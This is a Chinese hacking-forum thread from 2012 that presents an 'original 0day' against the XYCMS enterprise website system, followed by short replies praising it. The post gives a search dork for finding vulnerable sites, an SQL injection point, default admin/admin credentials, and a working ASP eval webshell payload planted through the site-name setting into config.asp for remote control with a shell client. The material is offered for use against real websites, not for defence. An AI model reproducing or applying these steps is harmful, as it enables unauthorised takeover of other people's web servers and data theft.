请选择 进入手机版 | 继续访问电脑版
查看: 9385|回复: 157

XYCMS企业建站系统(俺的和网上的不一样) 0day 原创

  [复制链接]

该用户从未签到

发表于 2012-6-10 13:55:46 | 显示全部楼层 |阅读模式
关键词:inurl:showkbxx.asp?id=

有注入点

默认数据库:
游客,如果您要查看本帖隐藏内容请回复


默认账户和密码:admin admin

有很多网站都是有防注入的,这个时候我们可以下载数据库,然后本地搭建,替换原来的数据库,进行注入得到管理员账户和密码

后台拿shell

有个网站配置,在网站名称里面直接添加:xxx网站"%><%eval request("stomach")%><%'
在里面直接插入,不要删掉网站名称。。。

然后菜刀连接 http://xxxx.com/inc/config.asp 密码你们懂得

没有什么技术含量,大牛勿喷!!!!!!!希望给加点金币!!!!!!!!

评分

参与人数 6i币 +42 收起 理由
N.O + 10 很给力!
Pony + 10 很给力!
90_ + 2
冰刀 + 5 我转..
s0mewhat + 10 很给力!
苦涩 + 5

查看全部评分

回复

使用道具 举报

  • TA的每日心情
    郁闷
    2019-1-24 15:26
  • 签到天数: 8 天

    [LV.3]偶尔看看II

    发表于 2012-6-10 14:53:35 | 显示全部楼层
    我转....
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2016-5-2 11:56
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2012-6-10 15:07:34 | 显示全部楼层
    我也转。。。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-8-3 02:53
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2012-6-10 20:41:45 来自手机 | 显示全部楼层
    下载数据库在本地搭建环境?不能直接查看数据库么?
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2012-6-11 09:07:18 | 显示全部楼层
    不错,值得新手看看!!!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2012-6-11 10:50:29 | 显示全部楼层
    就喜欢0day
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2012-6-11 11:02:46 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    cai5cai5 该用户已被删除
    发表于 2012-6-12 11:19:03 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    郁闷
    2016-10-26 00:00
  • 签到天数: 63 天

    [LV.6]常住居民II

    发表于 2012-6-12 11:39:48 | 显示全部楼层
    支持原创。。
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2012-6-12 20:58:07 | 显示全部楼层
    刀总这么可爱
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表